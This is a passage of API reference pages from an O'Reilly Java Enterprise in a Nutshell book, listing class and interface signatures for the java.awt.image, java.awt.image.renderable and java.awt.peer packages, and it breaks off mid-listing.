This class implements an ImageFilter that scales an image to a specified pixel size. It uses a simple scaling algorithm in which rows and columns of image pixels are duplicated or omitted as necessary to achieve the desired size. See AreaAveragingScaleFilter for a scaling filter that results in smoother images. The methods of this class are ImageConsumer methods used for communication between the image filter and the FilteredImageSource that uses it. Applications usually do not call these methods directly. The easiest way to use this filter is to call the getScaledInstance() method of Image, specifying an appropriate hint constant.

public class ReplicateScaleFilter extends ImageFilter {
// | Public Constructors
 | public ReplicateScaleFilter (int width, int height);
// | Public Methods Overriding ImageFilter
 | public void setDimensions (int w, int h);
 | public void setPixels (int x, int y, int w, int h, ColorModel model, int[ ] pixels, int off, int scansize);
 | public void setPixels (int x, int y, int w, int h, ColorModel model, byte[ ] pixels, int off, int scansize);
 | public void setProperties (java.util.Hashtable props);
// | Protected Instance Fields
 | protected int destHeight ;
 | protected int destWidth ;
 | protected Object outpixbuf ;
 | protected int[ ] srccols ;
 | protected int srcHeight ;
 | protected int[ ] srcrows ;
 | protected int srcWidth ;
}

Hierarchy: Object-->ImageFilter(Cloneable,ImageConsumer)-->ReplicateScaleFilter

Subclasses: AreaAveragingScaleFilter

RescaleOp Java 1.2
java.awt.image

This class is a BufferedImageOp and a RasterOp that performs a linear scaling on the components of each pixel in an image by multiplying them by a scale factor and adding a constant. When you create a RescaleOp, you specify either a single scale factor and a single offset or an array of scale factors and an array of constants. If only one scale factor and constant are specified, then all color bands of the image are rescaled identically. Otherwise, there should be one scale factor and constant for each color band or for each color band plus the alpha transparency band. In this case, each color band, and possibly the alpha band, is rescaled independently.

To use a RescaleOp, simply pass a source and optional destination image or raster to the filter() method. Because RescaleOp processes pixels independently of each other, you can use the same objects as both source and destination. Because of the nature of the rescaling, however, you cannot use LookupOp with images that use an IndexColorModel. RescaleOp performs a linear rescaling. If you want to perform a nonlinear rescaling, you can do so with a LookupOp and a LookupTable that describes the desired scaling. See BufferedImageOp for further details.

public class RescaleOp implements BufferedImageOp, RasterOp {
// | Public Constructors
 | public RescaleOp (float scaleFactor, float offset, RenderingHints hints);
 | public RescaleOp (float[ ] scaleFactors, float[ ] offsets, RenderingHints hints);
// | Public Instance Methods
 | public final int getNumFactors ();
 | public final float[ ] getOffsets (float[ ] offsets);
 | public final float[ ] getScaleFactors (float[ ] scaleFactors);
// | Methods Implementing BufferedImageOp
 | public BufferedImage createCompatibleDestImage (BufferedImage src, ColorModel destCM);
 | public final BufferedImage filter (BufferedImage src, BufferedImage dst);
 | public final java.awt.geom.Rectangle2D getBounds2D (BufferedImage src);
 | public final java.awt.geom.Point2D getPoint2D (java.awt.geom.Point2D srcPt, java.awt.geom.Point2D dstPt);
 | public final RenderingHints getRenderingHints ();
// | Methods Implementing RasterOp
 | public WritableRaster createCompatibleDestRaster (Raster src);
 | public final WritableRaster filter (Raster src, WritableRaster dst);
 | public final java.awt.geom.Rectangle2D getBounds2D (Raster src);
}

Hierarchy: Object-->RescaleOp(BufferedImageOp,RasterOp)

RGBImageFilter | Java 1.0
java.awt.image | cloneable PJ1.1

This abstract class is an ImageFilter that provides an easy way to implement filters that modify the colors of an image. To create a color filter that modifies the colors of an image, you should subclass RGBImageFilter and provide a definition of filterRGB() that converts the input pixel value (in the default RGB color model) to an output value. If the conversion does not depend on the location of the pixel, set the canFilterIndexColorModel variable to true so that the RGBImageFilter can save time by filtering the colormap of an image that uses an IndexColorModel, instead of filtering each pixel of the image.

public abstract class RGBImageFilter extends ImageFilter {
// | Public Constructors
 | public RGBImageFilter ();
// | Public Instance Methods
 | public IndexColorModel filterIndexColorModel (IndexColorModel icm);
 | public abstract int filterRGB (int x, int y, int rgb);
 | public void filterRGBPixels (int x, int y, int w, int h, int[ ] pixels, int off, int scansize);
 | public void substituteColorModel (ColorModel oldcm, ColorModel newcm);
// | Public Methods Overriding ImageFilter
 | public void setColorModel (ColorModel model);
 | public void setPixels (int x, int y, int w, int h, ColorModel model, int[ ] pixels, int off, int scansize);
 | public void setPixels (int x, int y, int w, int h, ColorModel model, byte[ ] pixels, int off, int scansize);
// | Protected Instance Fields
 | protected boolean canFilterIndexColorModel ;
 | protected ColorModel newmodel ;
 | protected ColorModel origmodel ;
}

Hierarchy: Object-->ImageFilter(Cloneable,ImageConsumer)-->RGBImageFilter

Subclasses: javax.swing.GrayFilter

SampleModel Java 1.2
java.awt.image

This abstract class defines methods for extracting the pixels of an image from an arbitrary DataBuffer, regardless of how those pixels are stored in the DataBuffer. Image data is stored in a Raster object, which consists of a DataBuffer to hold the raw data and a SampleModel to interpret the storage format. Only appliations that read or write image data directly from files or other sources ever need to use this class. See also the concrete subclasses ComponentSampleModel, SinglePixelPackedSampleModel, and MultiPixelPackedSampleModel.

public abstract class SampleModel {
// | Public Constructors
 | public SampleModel (int dataType, int w, int h, int numBands);
// | Property Accessor Methods (by property name)
 | public final int getDataType ();
 | public final int getHeight ();
 | public final int getNumBands ();
 | public abstract int getNumDataElements ();
 | public abstract int[ ] getSampleSize ();
 | public abstract int getSampleSize (int band);
 | public int getTransferType ();
 | public final int getWidth ();
// | Public Instance Methods
 | public abstract SampleModel createCompatibleSampleModel (int w, int h);
 | public abstract DataBuffer createDataBuffer ();
 | public abstract SampleModel createSubsetSampleModel (int[ ] bands);
 | public abstract Object getDataElements (int x, int y, Object obj, DataBuffer data);
 | public Object getDataElements (int x, int y, int w, int h, Object obj, DataBuffer data);
 | public int[ ] getPixel (int x, int y, int[ ] iArray, DataBuffer data);
 | public float[ ] getPixel (int x, int y, float[ ] fArray, DataBuffer data);
 | public double[ ] getPixel (int x, int y, double[ ] dArray, DataBuffer data);
 | public int[ ] getPixels (int x, int y, int w, int h, int[ ] iArray, DataBuffer data);
 | public float[ ] getPixels (int x, int y, int w, int h, float[ ] fArray, DataBuffer data);
 | public double[ ] getPixels (int x, int y, int w, int h, double[ ] dArray, DataBuffer data);
 | public abstract int getSample (int x, int y, int b, DataBuffer data);
 | public double getSampleDouble (int x, int y, int b, DataBuffer data);
 | public float getSampleFloat (int x, int y, int b, DataBuffer data);
 | public int[ ] getSamples (int x, int y, int w, int h, int b, int[ ] iArray, DataBuffer data);
 | public float[ ] getSamples (int x, int y, int w, int h, int b, float[ ] fArray, DataBuffer data);
 | public double[ ] getSamples (int x, int y, int w, int h, int b, double[ ] dArray, DataBuffer data);
 | public abstract void setDataElements (int x, int y, Object obj, DataBuffer data);
 | public void setDataElements (int x, int y, int w, int h, Object obj, DataBuffer data);
 | public void setPixel (int x, int y, int[ ] iArray, DataBuffer data);
 | public void setPixel (int x, int y, float[ ] fArray, DataBuffer data);
 | public void setPixel (int x, int y, double[ ] dArray, DataBuffer data);
 | public void setPixels (int x, int y, int w, int h, int[ ] iArray, DataBuffer data);
 | public void setPixels (int x, int y, int w, int h, float[ ] fArray, DataBuffer data);
 | public void setPixels (int x, int y, int w, int h, double[ ] dArray, DataBuffer data);
 | public abstract void setSample (int x, int y, int b, int s, DataBuffer data);
 | public void setSample (int x, int y, int b, float s, DataBuffer data);
 | public void setSample (int x, int y, int b, double s, DataBuffer data);
 | public void setSamples (int x, int y, int w, int h, int b, int[ ] iArray, DataBuffer data);
 | public void setSamples (int x, int y, int w, int h, int b, float[ ] fArray, DataBuffer data);
 | public void setSamples (int x, int y, int w, int h, int b, double[ ] dArray, DataBuffer data);
// | Protected Instance Fields
 | protected int dataType ;
 | protected int height ;
 | protected int numBands ;
 | protected int width ;
}

Subclasses: ComponentSampleModel, MultiPixelPackedSampleModel, SinglePixelPackedSampleModel

Passed To: ColorModel.isCompatibleSampleModel(), ComponentColorModel.isCompatibleSampleModel(), IndexColorModel.isCompatibleSampleModel(), PackedColorModel.isCompatibleSampleModel(), Raster.{createRaster(), createWritableRaster(), Raster()}, WritableRaster.WritableRaster()

Returned By: Too many methods to list.

Type Of: Raster.sampleModel

ShortLookupTable Java 1.2
java.awt.image

This concrete subclass of LookupTable contains one or more short arrays that serve as lookup tables for a LookupOp image-processing operation. Applications never need to use a ShortLookupTable directly; they need to create one only to pass to the LookupOp() constructor. Create a ShortLookupTable by passing the short array or arrays to the ShortLookupTable() constructor, along with an offset that is subtracted from each source color component before the lookup is performed. See also ByteLookupTable().

public class ShortLookupTable extends LookupTable {
// | Public Constructors
 | public ShortLookupTable (int offset, short[ ][ ] data);
 | public ShortLookupTable (int offset, short[ ] data);
// | Public Instance Methods
 | public final short[ ][ ] getTable ();
 | public short[ ] lookupPixel (short[ ] src, short[ ] dst);
// | Public Methods Overriding LookupTable
 | public int[ ] lookupPixel (int[ ] src, int[ ] dst);
}

Hierarchy: Object-->LookupTable-->ShortLookupTable

SinglePixelPackedSampleModel Java 1.2
java.awt.image

This SampleModel knows how to interpret image data in a DataBuffer that is organized so that each pixel is stored in a single data element and each data element contains exactly one pixel. For example, it can be used to represent RGB and ARGB data packed into a int element or 8-bit grayscale data stored in byte elements. The bitMasks array passed to the constructor specifies the bitmask used to extract each color component from the data element. For example, to extract the red color component of an RGB color from an int, you specify a bitmask of 0x00FF0000. Most applications never need to use this class. See SampleModel for further information.

public class SinglePixelPackedSampleModel extends SampleModel {
// | Public Constructors
 | public SinglePixelPackedSampleModel (int dataType, int w, int h, int[ ] bitMasks); |
 | public SinglePixelPackedSampleModel (int dataType, int w, int h, int scanlineStride, int[ ] bitMasks); |
// | Public Instance Methods
 | public int[ ] getBitMasks (); |
 | public int[ ] getBitOffsets (); |
 | public int getOffset (int x, int y); |
 | public int getScanlineStride (); |
// | Public Methods Overriding SampleModel
 | public SampleModel createCompatibleSampleModel (int w, int h); |
 | public int getNumDataElements (); | constant
 | public DataBuffer createDataBuffer (); |
 | public SampleModel createSubsetSampleModel (int[ ] bands); |
 | public Object getDataElements (int x, int y, Object obj, DataBuffer data); |
 | public int[ ] getPixel (int x, int y, int[ ] iArray, DataBuffer data); |
 | public int[ ] getPixels (int x, int y, int w, int h, int[ ] iArray, DataBuffer data); |
 | public int getSample (int x, int y, int b, DataBuffer data); |
 | public int[ ] getSamples (int x, int y, int w, int h, int b, int[ ] iArray, DataBuffer data); |
 | public int[ ] getSampleSize (); |
 | public int getSampleSize (int band); |
 | public void setDataElements (int x, int y, Object obj, DataBuffer data); |
 | public void setPixel (int x, int y, int[ ] iArray, DataBuffer data); |
 | public void setPixels (int x, int y, int w, int h, int[ ] iArray, DataBuffer data); |
 | public void setSample (int x, int y, int b, int s, DataBuffer data); |
 | public void setSamples (int x, int y, int w, int h, int b, int[ ] iArray, DataBuffer data); |
}

Hierarchy: Object-->SampleModel-->SinglePixelPackedSampleModel

TileObserver Java 1.2
java.awt.image

This interface is implemented by objects that wish to be notified when a WritableRenderedImage is about to be written to. It is used as part of the Java Advanced Imaging API (javax.jai.*) and is not of interest to Java 2D programs. In particular, note that while BufferedImage objects allow TileObserver objects to be registered, they never send out notifications to them. Only programs using the JAI will ever implement this interface. It is used in the java.awt.image package simply for future compatibility with the JAI.

public abstract interface TileObserver {
// | Public Instance Methods
 | public abstract void tileUpdate (WritableRenderedImage source, int tileX, int tileY, boolean willBeWritable);
}

Passed To: BufferedImage.{addTileObserver(), removeTileObserver()}, WritableRenderedImage.{addTileObserver(), removeTileObserver()}

WritableRaster Java 1.2
java.awt.image

This class extends Raster to add methods for setting pixel values in the Raster. It does not have any public constructors. You create WritableRaster objects with the static methods defined by the Raster class. WritableRaster is used by BufferedImage, and, in practice, most rasters used in a program are WritableRaster objects. Most applications can use the features of BufferedImage and never need to use WritableRaster or Raster directly. See Raster for more information.

public class WritableRaster extends Raster {
// | Protected Constructors
 | protected WritableRaster (SampleModel sampleModel, Point origin);
 | protected WritableRaster (SampleModel sampleModel, DataBuffer dataBuffer, Point origin);
 | protected WritableRaster (SampleModel sampleModel, DataBuffer dataBuffer, Rectangle aRegion, Point sampleModelTranslate, WritableRaster parent);
// | Public Instance Methods
 | public WritableRaster createWritableChild (int parentX, int parentY, int w, int h, int childMinX, int childMinY, int[ ] bandList);
 | public WritableRaster createWritableTranslatedChild (int childMinX, int childMinY);
 | public WritableRaster getWritableParent ();
 | public void setDataElements (int x, int y, Raster inRaster);
 | public void setDataElements (int x, int y, Object inData);
 | public void setDataElements (int x, int y, int w, int h, Object inData);
 | public void setPixel (int x, int y, float[ ] fArray);
 | public void setPixel (int x, int y, int[ ] iArray);
 | public void setPixel (int x, int y, double[ ] dArray);
 | public void setPixels (int x, int y, int w, int h, double[ ] dArray);
 | public void setPixels (int x, int y, int w, int h, float[ ] fArray);
 | public void setPixels (int x, int y, int w, int h, int[ ] iArray);
 | public void setRect (Raster srcRaster);
 | public void setRect (int dx, int dy, Raster srcRaster);
 | public void setSample (int x, int y, int b, double s);
 | public void setSample (int x, int y, int b, float s);
 | public void setSample (int x, int y, int b, int s);
 | public void setSamples (int x, int y, int w, int h, int b, double[ ] dArray);
 | public void setSamples (int x, int y, int w, int h, int b, float[ ] fArray);
 | public void setSamples (int x, int y, int w, int h, int b, int[ ] iArray);
}

Hierarchy: Object-->Raster-->WritableRaster

Passed To: Too many methods to list.

Returned By: Too many methods to list.

WritableRenderedImage Java 1.2
java.awt.image

This interface defines methods that allow image data to be written into a RenderedImage in a way that allows for notification of updates. Most of the methods of this interface exist for use with the forthcoming Java Advanced Imaging (JAI) API (javax.jai.*) and are not of interest to programs using Java 2D. Nevertheless, BufferedImage implements this interface, so that Java 2D BufferedImage objects can interoperate with future JAI RenderedImage objects. BufferedImage objects contain only a single tile and provide trivial implementations of all the tile-related methods. setData() is the only method of interest to Java 2D programs.

public abstract interface WritableRenderedImage extends RenderedImage {
// | Public Instance Methods
 | public abstract void addTileObserver (TileObserver to);
 | public abstract WritableRaster getWritableTile (int tileX, int tileY);
 | public abstract Point[ ] getWritableTileIndices ();
 | public abstract boolean hasTileWriters ();
 | public abstract boolean isTileWritable (int tileX, int tileY);
 | public abstract void releaseWritableTile (int tileX, int tileY);
 | public abstract void removeTileObserver (TileObserver to);
 | public abstract void setData (Raster r);
}

Hierarchy: (WritableRenderedImage(RenderedImage))

Implementations: BufferedImage

Passed To: TileObserver.tileUpdate()

Previous | Home | Next
17.1. The java.awt.im Package | Book Index | 19. The java.awt.image.renderable Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.awt.image.renderable Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 19. The java.awt.image.renderable Package

The java.awt.image.renderable package contains classes and interfaces used by the Java Advanced Imaging (JAI) standard extension (javax.jai.*). In general, these classes and interfaces are not of interest to Java 2D programs, but the package is part of the core Java platform so that the JAI can be tightly coupled to the core image-processing features. Only image-processing applications that use the JAI ever need to use the classes and interfaces in this package. Figure 19-1 shows the class hierarchy of this package, which is new in Java 1.2.

Figure 19-1. The java.awt.image.renderable package

ContextualRenderedImageFactory Java 1.2
java.awt.image.renderable

This interface is implemented by classes that, given a RenderContext and a ParameterBlock of arguments, can produce a java.awt.image.RenderedImage. Implementations of this interface are used to perform rendering-independent image filtering by RenderableImageOp.

public abstract interface ContextualRenderedImageFactory extends RenderedImageFactory {
// | Public Instance Methods
 | public abstract RenderedImage create (RenderContext renderContext, ParameterBlock paramBlock);
 | public abstract java.awt.geom.Rectangle2D getBounds2D (ParameterBlock paramBlock);
 | public abstract Object getProperty (ParameterBlock paramBlock, String name);
 | public abstract String[ ] getPropertyNames ();
 | public abstract boolean isDynamic ();
 | public abstract RenderContext mapRenderContext (int i, RenderContext renderContext, ParameterBlock paramBlock, RenderableImage image);
}

Hierarchy: (ContextualRenderedImageFactory(RenderedImageFactory))

Passed To: RenderableImageOp.RenderableImageOp()

ParameterBlock | Java 1.2
java.awt.image.renderable | cloneable serializable

This utility class maintains a list of parameter objects and a list of source objects for use by a RenderableImageOp. Various methods allow sources and parameters to added, set, and queried.

public class ParameterBlock implements Cloneable, Serializable {
// | Public Constructors
 | public ParameterBlock (); |
 | public ParameterBlock (java.util.Vector sources); |
 | public ParameterBlock (java.util.Vector sources, java.util.Vector parameters); |
// | Property Accessor Methods (by property name)
 | public int getNumParameters (); | default:0
 | public int getNumSources (); | default:0
 | public Class[ ] getParamClasses (); |
 | public java.util.Vector getParameters (); |
 | public void setParameters (java.util.Vector parameters); |
 | public java.util.Vector getSources (); |
 | public void setSources (java.util.Vector sources); |
// | Public Instance Methods
 | public ParameterBlock add (int i); |
 | public ParameterBlock add (float f); |
 | public ParameterBlock add (long l); |
 | public ParameterBlock add (short s); |
 | public ParameterBlock add (Object obj); |
 | public ParameterBlock add (double d); |
 | public ParameterBlock add (byte b); |
 | public ParameterBlock add (char c); |
 | public ParameterBlock addSource (Object source); |
 | public byte getByteParameter (int index); |
 | public char getCharParameter (int index); |
 | public double getDoubleParameter (int index); |
 | public float getFloatParameter (int index); |
 | public int getIntParameter (int index); |
 | public long getLongParameter (int index); |
 | public Object getObjectParameter (int index); |
 | public RenderableImage getRenderableSource (int index); |
 | public RenderedImage getRenderedSource (int index); |
 | public short getShortParameter (int index); |
 | public Object getSource (int index); |
 | public void removeParameters (); |
 | public void removeSources (); |
 | public ParameterBlock set (long l, int index); |
 | public ParameterBlock set (int i, int index); |
 | public ParameterBlock set (short s, int index); |
 | public ParameterBlock set (Object obj, int index); |
 | public ParameterBlock set (char c, int index); |
 | public ParameterBlock set (byte b, int index); |
 | public ParameterBlock set (float f, int index); |
 | public ParameterBlock set (double d, int index); |
 | public ParameterBlock setSource (Object source, int index); |
 | public Object shallowClone (); |
// | Public Methods Overriding Object
 | public Object clone (); |
// | Protected Instance Fields
 | protected java.util.Vector parameters ; |
 | protected java.util.Vector sources ; |
}

Hierarchy: Object-->ParameterBlock(Cloneable,Serializable)

Passed To: ContextualRenderedImageFactory.{create(), getBounds2D(), getProperty(), mapRenderContext()}, RenderableImageOp.{RenderableImageOp(), setParameterBlock()}, RenderedImageFactory.create()

Returned By: Too many methods to list.

RenderableImage Java 1.2
java.awt.image.renderable

This interface represents a rendering-independent (and resolution-independent) image. A RenderableImage may be passed to the drawRenderableImage() method of Graphics2D. However, a working, concrete implementation RenderableImage requires the forthcoming Java Advanced Imaging API. Java 2D programs that are not using the JAI will never use this interface.

public abstract interface RenderableImage {
// | Public Constants
 | public static final String HINTS_OBSERVED ; | ="HINTS_OBSERVED"
// | Property Accessor Methods (by property name)
 | public abstract boolean isDynamic (); |
 | public abstract float getHeight (); |
 | public abstract float getMinX (); |
 | public abstract float getMinY (); |
 | public abstract String[ ] getPropertyNames (); |
 | public abstract java.util.Vector getSources (); |
 | public abstract float getWidth (); |
// | Public Instance Methods
 | public abstract RenderedImage createDefaultRendering (); |
 | public abstract RenderedImage createRendering (RenderContext renderContext); |
 | public abstract RenderedImage createScaledRendering (int w, int h, RenderingHints hints); |
 | public abstract Object getProperty (String name); |
}

Implementations: RenderableImageOp

Passed To: Graphics2D.drawRenderableImage(), ContextualRenderedImageFactory.mapRenderContext(), RenderableImageProducer.RenderableImageProducer()

Returned By: ParameterBlock.getRenderableSource()

RenderableImageOp Java 1.2
java.awt.image.renderable

This class defines an image-processing operation on a RenderableImage and is itself a RenderableImage, allowing processing operations to be pipelined, or streamed. Although this is a concrete class, the image-processing operation itself is defined in an external ContextualRenderedImageFactor object.

public class RenderableImageOp implements RenderableImage {
// | Public Constructors
 | public RenderableImageOp (ContextualRenderedImageFactory CRIF, ParameterBlock paramBlock);
// | Public Instance Methods
 | public ParameterBlock getParameterBlock ();
 | public ParameterBlock setParameterBlock (ParameterBlock paramBlock);
// | Methods Implementing RenderableImage
 | public RenderedImage createDefaultRendering ();
 | public RenderedImage createRendering (RenderContext renderContext);
 | public RenderedImage createScaledRendering (int w, int h, RenderingHints hints);
 | public float getHeight ();
 | public float getMinX ();
 | public float getMinY ();
 | public Object getProperty (String name);
 | public String[ ] getPropertyNames ();
 | public java.util.Vector getSources ();
 | public float getWidth ();
 | public boolean isDynamic ();
}

Hierarchy: Object-->RenderableImageOp(RenderableImage)

RenderableImageProducer | Java 1.2
java.awt.image.renderable | runnable

This class is an adapter that allows RenderableImage objects of the Java Advanced Imaging API to be used with the Java 1.0 ImageProducer/ImageConsumer image-processing model. The JAI is a forthcoming standard extension. This class exists in a core AWT package solely for future interoperability.

public class RenderableImageProducer implements ImageProducer, Runnable {
// | Public Constructors
 | public RenderableImageProducer (RenderableImage rdblImage, RenderContext rc); |
// | Public Instance Methods
 | public void setRenderContext (RenderContext rc); | synchronized
// | Methods Implementing ImageProducer
 | public void addConsumer (ImageConsumer ic); | synchronized
 | public boolean isConsumer (ImageConsumer ic); | synchronized
 | public void removeConsumer (ImageConsumer ic); | synchronized
 | public void requestTopDownLeftRightResend (ImageConsumer ic); | empty
 | public void startProduction (ImageConsumer ic); | synchronized
// | Methods Implementing Runnable
 | public void run (); |
}

Hierarchy: Object-->RenderableImageProducer(ImageProducer,Runnable)

RenderContext | Java 1.2
java.awt.image.renderable | cloneable

This class contains the information necessary to produce a device-specific java.awt. image.RenderedImage from a RenderableImage. That information is a transformation from user coordinates to device coordinates, an optional java.awt.Shape describing the area of interest in the RenderableImage, and an optional set of java.awt.RenderingHints.

public class RenderContext implements Cloneable {
// | Public Constructors
 | public RenderContext (java.awt.geom.AffineTransform usr2dev);
 | public RenderContext (java.awt.geom.AffineTransform usr2dev, Shape aoi);
 | public RenderContext (java.awt.geom.AffineTransform usr2dev, RenderingHints hints);
 | public RenderContext (java.awt.geom.AffineTransform usr2dev, Shape aoi, RenderingHints hints);
// | Public Instance Methods
 | public void concetenateTransform (java.awt.geom.AffineTransform modTransform);
 | public Shape getAreaOfInterest ();
 | public RenderingHints getRenderingHints ();
 | public java.awt.geom.AffineTransform getTransform ();
 | public void preConcetenateTransform (java.awt.geom.AffineTransform modTransform);
 | public void setAreaOfInterest (Shape newAoi);
 | public void setRenderingHints (RenderingHints hints);
 | public void setTransform (java.awt.geom.AffineTransform newTransform);
// | Public Methods Overriding Object
 | public Object clone ();
}

Hierarchy: Object-->RenderContext(Cloneable)

Passed To: ContextualRenderedImageFactory.{create(), mapRenderContext()}, RenderableImage.createRendering(), RenderableImageOp.createRendering(), RenderableImageProducer.{RenderableImageProducer(), setRenderContext()}

Returned By: ContextualRenderedImageFactory.mapRenderContext()

RenderedImageFactory Java 1.2
java.awt.image.renderable

This interface is implemented by classes that, given a ParameterBlock of arguments and a set of RenderingHints, can create RenderedImage objects, typically through the process of rendering a RenderableImage object. The subinterface ContextualRenderedImageFactory is used more often than RenderedImageFactory.

public abstract interface RenderedImageFactory {
// | Public Instance Methods
 | public abstract RenderedImage create (ParameterBlock paramBlock, RenderingHints hints);
}

Implementations: ContextualRenderedImageFactory

Previous | Home | Next
18.1. The java.awt.image Package | Book Index | 20. The java.awt.peer Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.awt.peer Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 20. The java.awt.peer Package

The interfaces in the java.awt.peer package define the native GUI capabilities that are required by the heavyweight AWT components of the java.awt package. Application-level code never needs to use this package. Because the package is rarely used and because the interfaces of this package closely mirror the component classes of java.awt, no descriptions are provided for the individual interfaces listed here. Figure 20-1 shows the class hierarchy of this package.

Figure 20-1. The java.awt.peer package

ButtonPeer | Java 1.0
java.awt.peer | PJ1.1
public abstract interface ButtonPeer extends ComponentPeer {
// | Public Instance Methods
 | public abstract void setLabel (String label);
}
CanvasPeer | Java 1.0
java.awt.peer | PJ1.1
public abstract interface CanvasPeer extends ComponentPeer {
}
CheckboxMenuItemPeer | Java 1.0
java.awt.peer | PJ1.1
public abstract interface CheckboxMenuItemPeer extends MenuItemPeer {
// | Public Instance Methods
 | public abstract void setState (boolean t);
}
CheckboxPeer | Java 1.0
java.awt.peer | PJ1.1
public abstract interface CheckboxPeer extends ComponentPeer {
// | Public Instance Methods
 | public abstract void setCheckboxGroup (CheckboxGroup g);
 | public abstract void setLabel (String label);
 | public abstract void setState (boolean state);
}
ChoicePeer | Java 1.0
java.awt.peer | PJ1.1
public abstract interface ChoicePeer extends ComponentPeer {
// | Public Instance Methods
1.1 | public abstract void add (String item, int index);
 | public abstract void addItem (String item, int index);
1.1 | public abstract void remove (int index);
 | public abstract void select (int index);
}
ComponentPeer | Java 1.0
java.awt.peer | PJ1.1
public abstract interface ComponentPeer {
// | Property Accessor Methods (by property name)
 | public abstract java.awt.image.ColorModel getColorModel ();
1.1 | public abstract boolean isFocusTraversable ();
 | public abstract Graphics getGraphics ();
1.1 | public abstract Point getLocationOnScreen ();
1.1 | public abstract Dimension getMinimumSize ();
1.1 | public abstract Dimension getPreferredSize ();
 | public abstract Toolkit getToolkit ();
// | Public Instance Methods
 | public abstract int checkImage (Image img, int w, int h, java.awt.image.ImageObserver o);
 | public abstract Image createImage (java.awt.image.ImageProducer producer);
 | public abstract Image createImage (int width, int height);
 | public abstract void disable ();
 | public abstract void dispose ();
 | public abstract void enable ();
 | public abstract FontMetrics getFontMetrics (Font font);
1.1 | public abstract void handleEvent (AWTEvent e);
 | public abstract void hide ();
 | public abstract Dimension minimumSize ();
 | public abstract void paint (Graphics g);
 | public abstract Dimension preferredSize ();
 | public abstract boolean prepareImage (Image img, int w, int h, java.awt.image.ImageObserver o);
 | public abstract void print (Graphics g);
 | public abstract void repaint (long tm, int x, int y, int width, int height);
 | public abstract void requestFocus ();
 | public abstract void reshape (int x, int y, int width, int height);
 | public abstract void setBackground (Color c);
1.1 | public abstract void setBounds (int x, int y, int width, int height);
1.1 | public abstract void setCursor (Cursor cursor);
1.1 | public abstract void setEnabled (boolean b);
 | public abstract void setFont (Font f);
 | public abstract void setForeground (Color c);
1.1 | public abstract void setVisible (boolean b);
 | public abstract void show ();
}
ContainerPeer | Java 1.0
java.awt.peer | PJ1.1
public abstract interface ContainerPeer extends ComponentPeer {
// | Public Instance Methods
1.1 | public abstract void beginValidate ();
1.1 | public abstract void endValidate ();
1.1 | public abstract Insets getInsets ();
 | public abstract Insets insets ();
}
DialogPeer | Java 1.0
java.awt.peer | PJ1.1
public abstract interface DialogPeer extends WindowPeer {
// | Public Instance Methods
 | public abstract void setResizable (boolean resizeable);
 | public abstract void setTitle (String title);
}
FileDialogPeer | Java 1.0
java.awt.peer | PJ1.1
public abstract interface FileDialogPeer extends DialogPeer {
// | Public Instance Methods
 | public abstract void setDirectory (String dir);
 | public abstract void setFile (String file);
 | public abstract void setFilenameFilter (java.io.FilenameFilter filter);
}
FontPeer | Java 1.1
java.awt.peer | PJ1.1
public abstract interface FontPeer {
}
FramePeer | Java 1.0
java.awt.peer | PJ1.1
public abstract interface FramePeer extends WindowPeer {
// | Property Accessor Methods (by property name)
1.2 | public abstract int getState ();
1.2 | public abstract void setState (int state);
// | Public Instance Methods
 | public abstract void setIconImage (Image im);
 | public abstract void setMenuBar (MenuBar mb);
 | public abstract void setResizable (boolean resizeable);
 | public abstract void setTitle (String title);
}
LabelPeer | Java 1.0
java.awt.peer | PJ1.1
public abstract interface LabelPeer extends ComponentPeer {
// | Public Instance Methods
 | public abstract void setAlignment (int alignment);
 | public abstract void setText (String label);
}
LightweightPeer | Java 1.1
java.awt.peer | PJ1.1
public abstract interface LightweightPeer extends ComponentPeer {
}
ListPeer | Java 1.0
java.awt.peer | PJ1.1
public abstract interface ListPeer extends ComponentPeer {
// | Public Instance Methods
1.1 | public abstract void add (String item, int index);
 | public abstract void addItem (String item, int index);
 | public abstract void clear ();
 | public abstract void delItems (int start, int end);
 | public abstract void deselect (int index);
1.1 | public abstract Dimension getMinimumSize (int rows);
1.1 | public abstract Dimension getPreferredSize (int rows);
 | public abstract int[ ] getSelectedIndexes ();
 | public abstract void makeVisible (int index);
 | public abstract Dimension minimumSize (int v);
 | public abstract Dimension preferredSize (int v);
1.1 | public abstract void removeAll ();
 | public abstract void select (int index);
1.1 | public abstract void setMultipleMode (boolean b);
 | public abstract void setMultipleSelections (boolean v);
}
MenuBarPeer | Java 1.0
java.awt.peer | PJ1.1
public abstract interface MenuBarPeer extends MenuComponentPeer {
// | Public Instance Methods
 | public abstract void addHelpMenu (Menu m);
 | public abstract void addMenu (Menu m);
 | public abstract void delMenu (int index);
}
MenuComponentPeer | Java 1.0
java.awt.peer | PJ1.1
public abstract interface MenuComponentPeer {
// | Public Instance Methods
 | public abstract void dispose ();
}
MenuItemPeer | Java 1.0
java.awt.peer | PJ1.1
public abstract interface MenuItemPeer extends MenuComponentPeer {
// | Public Instance Methods
 | public abstract void disable ();
 | public abstract void enable ();
1.1 | public abstract void setEnabled (boolean b);
 | public abstract void setLabel (String label);
}
MenuPeer | Java 1.0
java.awt.peer | PJ1.1
public abstract interface MenuPeer extends MenuItemPeer {
// | Public Instance Methods
 | public abstract void addItem (MenuItem item);
 | public abstract void addSeparator ();
 | public abstract void delItem (int index);
}
PanelPeer | Java 1.0
java.awt.peer | PJ1.1
public abstract interface PanelPeer extends ContainerPeer {
}
PopupMenuPeer | Java 1.1
java.awt.peer | PJ1.1
public abstract interface PopupMenuPeer extends MenuPeer {
// | Public Instance Methods
 | public abstract void show (Event e);
}
ScrollbarPeer | Java 1.0
java.awt.peer | PJ1.1
public abstract interface ScrollbarPeer extends ComponentPeer {
// | Public Instance Methods
 | public abstract void setLineIncrement (int l);
 | public abstract void setPageIncrement (int l);
 | public abstract void setValues (int value, int visible, int minimum, int maximum);
}
ScrollPanePeer | Java 1.1
java.awt.peer | PJ1.1
public abstract interface ScrollPanePeer extends ContainerPeer {
// | Public Instance Methods
 | public abstract void childResized (int w, int h);
 | public abstract int getHScrollbarHeight ();
 | public abstract int getVScrollbarWidth ();
 | public abstract void setScrollPosition (int x, int y);
 | public abstract void setUnitIncrement (Adjustable adj, int u);
 | public abstract void setValue (Adjustable adj, int v);
}
TextAreaPeer | Java 1.0
java.awt.peer | PJ1.1
public abstract interface TextAreaPeer extends TextComponentPeer {
